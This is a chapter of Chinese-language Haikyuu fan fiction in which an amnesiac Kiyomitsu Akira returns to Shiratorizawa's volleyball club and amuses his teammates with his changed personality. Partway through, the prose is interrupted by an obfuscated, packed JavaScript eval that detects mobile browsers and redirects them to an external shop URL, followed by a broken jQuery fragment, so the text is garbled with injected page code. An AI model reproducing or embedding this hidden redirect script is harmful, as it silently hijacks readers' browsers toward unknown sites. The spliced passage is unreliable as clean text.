第二天

    “好饿,若利,我还没吃早饭!”

    “早饭。”

    “去排球部为什么要带这么多东西,好沉!”

    “排球鞋和运动服要带好,包给我。”

    “说好了,我只是去看看你说的崇拜我的学弟们,我是不会练球的!”

    “嗯。”

    只能说每个人都会找到属于他的克制链,在别人眼中棘手的清光澈,在牛岛若利眼里却十分好搞定。

    尽管清光澈再三强调自己绝对不会去排球部,但牛岛若利只思考了一秒便想到应对之策。

    只要轻飘飘点头同意,顺带随口说一句因为清光澈打排球很帅所以排球部里有很多队友和学弟等着他回去等等的话。

    清光澈的注意力立马就会被吸引过来,状若不经意,但眼神又冒光的过来旁敲侧击。

    最后在牛岛若利的恳求下勉为其难的答应明天就去排球部只看一眼。

    计划成

    牛岛若利依旧一副处事不惊的脸,就这么看着清光澈得意的喵喵叫。

    但第二天早上起床清光澈就后悔了。

    牛岛若利来敲门的时候,清光澈感觉外面天都是黑的。

    再泪眼朦胧的睁开眼看着床头柜上的时间。

    6:40

    ……

    天杀的,为什么要起这么早,他可以反悔吗,早起好痛苦,真的好痛苦。

    清光澈努力唤醒意识,提醒自己要从床上爬起来,但结果只是用脸蹭了下枕头,换成了舒服的姿势。

    敲门声还在不断响起,但这根本无法打断清光澈香甜甜的睡意。

    门敲了几下后就彻底停下了,就在他以为牛岛若利是要准备放弃时……

    “起床了,小澈。”

    牛岛若利自己打开门,站在他床边。

    看着已经把脸埋进被子里装不在的清光澈,他十分熟练的把人挖出来,顺便还叠好被子,从衣柜里拿好训练服和球鞋放进斜挎包。

    等都收拾好了,被强行拉起床的清光澈开始发起床气。

    于是回到开头那一幕。

    虽然这个时候应该表现出对方颐指气使的气氛,但牛岛若利不仅没有任何脾气,自始自终都表现出一种愿打愿挨。

    蹲在床旁边的庞然大物就这么一动不动的听自己发脾气,还只会眨着眼看你,哪怕是再蛮不讲理的家伙这时候也没脾气了。

    清光澈从床上爬起来,勉为其难的在脸上糊了两把水,最终在一片晴空万里的清晨走出门。

    说实话,早上的困意已经让他忘记早起的原因。

    所以在推开排球部大门被一群人一拥而上时,清光澈的表情看来还有点傻。

    “清光学长。”

    “早上好,清光学长。”

    “阿澈,病养的怎么样,没事了吧?”

    看到来人是清光澈和牛岛若利,排球部的众人纷纷停下手上动作走过来一人一句。

    啊…啊啊……啊啊啊!

    他真的超受欢迎啊!

    在一声声清光前辈和关心的目光中,清光澈的嘴巴越来越大,最后吃惊的合不拢嘴。

    原来牛岛若利没骗他,没想到有这么多人在等待自己,既然这样,他也要用最饱满的爱来回应他们!

    清光澈立马调整表情,收起原本的吃惊,眼睛弯弯,露出超开朗超阳光的小白脸笑容。

    他像走红毯的明星,对面前的粉丝轻轻挥手:

    “大家早上好啊,我也很想你们哦~”

    “……”

    “……”

    “……”

    反耳呢,清光澈明媚的笑颜并没有得到预期的回应,整个排球部突然陷入一片死寂的安静。

    大家像是看怪物般愕然又沉默的盯着清光澈,好像下一秒就要变异成丧尸。

    这种场面着实有点恐怖了,让清光澈下意识后退一步,

    “怎,怎么了吗?”

    “呃,不,阿澈,其实我们也想问,你……”大平狮音好像在脑子里搜刮合适的词汇,艰难开口:

    “你…没事吧,是不是伤到脑子了?”

    说的很好,下次换个人来说。

    但还不等他回答,身后的牛岛若利已经点头,解开了众人心中的疑惑。

    “嗯,小澈撞坏脑子失忆了。”

    你怎么也这么会说话……

    不等清光澈感叹排球部是什么语言退化的原始部落,听到消息的部落野人们炸锅了。

    “失忆了?”

    “什么都不记得了吗?”

    “怎么会这样,发生了什么?”

    “清光学长,除了失忆还有什么地方受伤了吗?”

    疑问,震惊,重复,关心的话一股脑砸过来,让清光澈不知道先回哪一句。

    好在关键时刻,一个红色冰激凌筒冲出众人的包围圈,直接冲向清光澈。

    “小澈!”天童觉宛如一只发现食物的秃鹫,眼中带着某种蠢蠢欲动和警惕凑近。

    “你不记得了我了,我可是你最好的朋友!”

    “好朋友?”

    “好朋友!”

    “好朋友!!”

    等等,清光澈回过神看向其他人,他惊奇也就算了,怎么其他人也像失忆一样这么诧异?

    有些受宠若惊,但清光澈还是从天童觉的话中察觉了漏洞!

    “我最好的朋友不是若利吗?”

    “啊,那就是第二好!我们俩相当合拍的!”

    “真的吗!”

    “没错没错,我给你说,我们之前……”

    在天童觉三言两语中,清光澈露出恍然大悟。

    “哦哦!原来我们真是好朋友!”

    “没错啦,你相信我!来,我给你介绍一下新来的学弟,超崇拜你还超有潜力的未来王牌,五色工——”

    “清光学长好!”

    ……

    众人终于意识到清光澈失忆这事不是开玩笑了,几人齐齐转头看向牛岛若利。

    “若利,发生了什么,阿澈竟然失忆了,而且……”

    不管怎么说,失忆之后的变化也不应该这么大吧。

    看着已经和五色工握起手来的清光澈,在座每一位表情都五彩斑斓、难以置信。

    这实在是太夸张了,曾经的清光澈可是白鸟泽的“智将”,可是以绝对的理性和掌控力,让白鸟泽处在暴君独裁下的清光澈。

    这个弱智是谁?

    看起来好笨,竟然这么轻而易举就被天童觉骗了。

    在场为数不多的几位正常人全都欲言又止,想说什么,但看着笨笨的清光澈……又不知道说什么。

    最后还是一直把清光澈当作榜样的白布贤二郎看不下去,打定主意要把他从天童觉那里救下来。

    起码要维持好前辈的尊严,不然等到清光澈恢复记忆,一定会觉得羞耻吧!

    虽然白布贤二郎也不知道失忆前几乎要把人类七情六欲断绝掉的清光澈会不会羞耻……

    “清光学长!”

    他走过去,声音洪亮的呼唤正在和天童觉勾肩搭背的清光澈。

    看到白布贤二郎冲过来,已经惯性思维的清光澈下意识:

    “哦哦!你叫什么名字?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906660|213034||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “你……啊,我叫白布贤二郎。”

    “你好,贤二郎!”

    清光澈热情的拉住他的手晃了晃,作为成为好朋友的印章。

    刚刚打定主意要说什么的白布:!!!

    被清光学长握手了,而且还叫了名字!

    白布贤二郎脸上浮现出淡淡的绯红,冒着三分熟的热气,脑子里也只有不断闪回的清光澈の笑颜。

    这是清光学长第一次叫他的名字,以往都是冷冰冰的“白布”,后面点缀着需要他做的任务。

    从来没有过被如此放在眼里。

    白布贤二郎……沦陷了。

    虽然这样想很坏,但是失忆后的清光学长……

    看着这边像什么植物大战僵尸战场,去一个死一个的效果,大平狮音完全不意外。

    他只是有点无奈……

    让白布贤二郎去,这跟肉包子打狗有什么区别。

    不过阿澈失忆后变了性格倒是小事,他想到更重要的问题,转过头看向牛岛若利:

    “那排球呢?”

    “全都不记得了。”

    “什么!”

    “什么!”

    “啊?”

    “怎么可能!”

    不出意外得到了相当夸张的反响,每一个听到牛岛若利这话的队友都露出刻板的惊吓。

    赖见英太根本接受不了这条消息带来的冲击。

    “别开玩笑了,阿澈怎么可能会忘记排球?”

    在排球部众人眼中,清光澈可是和排球紧紧绑死的关系,简直就是融为一体,说是排球的人形的不为过。

    这种人忘记排球,不亚于婴儿忘记吃奶,丢掉生存的本能。

    而且,他们在得知这消息都已经惊愕的无法理解,反观牛岛若利却比他们淡定的多。

    大平狮音露出欲言又止的表情,似乎是想劝牛岛若利别太失落,但看他的表情又丝毫没失落的意思……

    他吞吞吐吐的样子太明显,牛岛若利哪怕十分不擅长察觉情绪,也感觉到了对方想表达的意思。

    牛岛若利转过头,用平静的眼睛看向他:

    “忘记的话,重新想起来就好了。”

    “啊……这样啊。”

    “嗯。”

    话虽然是什么说……

    大平狮音,以及偷听到两人说话的自由人山形隼人看着那边还在傻笑的清光澈。

    从头开始学,真的没问题吗……

    大概是这种从零开始的排球生活太惊天动地,从集合开始做基础训练时,整个排球部的目光就若隐若现的集中的清光澈身上。

    如果注意到这种情况,清光澈一定会得意洋洋的跟大家挥手,确认自己真的很受欢迎。

    但现在……

    “啊啊……好痛!若利,我的腿要断掉了!”

    他正在被牛岛若利按在地上压腿,两腿分开,上身往前探压在地板上。

    但是牛岛若利还没开始使劲,下面的清光澈就已经大呼小叫起来了。

    ……

    牛岛若利分不清他是真的痛还是只是在大惊小怪。

    失忆前清光澈柔韧性很好,轻轻松松就可以□□趴在地板上。

    也许是因为住院时间有些长,所以身体僵硬起来了?

    “可以了可以了若利!我感觉身体已经完全活动好了!”

    清光澈两肘撑在地板上,胸口和腹部没有一点接触到地面,但语气惨兮兮的,让人觉得他真的已经努力到极限了。

    牛岛若利皱眉:“不行,还没热好身。”

    身下一阵激烈的惨叫。